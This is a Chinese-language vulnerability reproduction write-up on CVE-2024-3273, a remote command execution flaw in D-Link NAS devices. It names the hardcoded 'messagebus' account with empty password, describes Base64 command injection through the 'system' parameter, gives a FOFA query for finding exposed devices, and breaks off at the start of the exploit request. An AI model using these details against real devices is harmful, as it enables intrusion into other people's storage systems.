【漏洞复现】D-Link NAS 远程命令执行漏洞(CVE-2024-3273)

免责声明

请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、简介

D-Link NAS（网络附加存储）是通过网络连接的存储设备，允许多个设备共享和存储数据。作为一家知名的网络设备品牌，D-Link 提供多种 NAS 解决方案，广泛应用于家庭和企业环境中。

二、漏洞描述

通过硬编码帐户（用户名：“messagebus”和空密码）造成的后门以及“system”参数的命令注入问题，攻击者可在设备上远程执行命令。命令注入漏洞通过 HTTP GET 请求将 Base64 编码的命令添加到“system”参数中从而被执行。

三、fofa语法

fid="hWN+yVVhLzKJaLkd/ITHpA=="

四、漏洞复现

GET /cgi-bin/nas_sharing.cgi?user=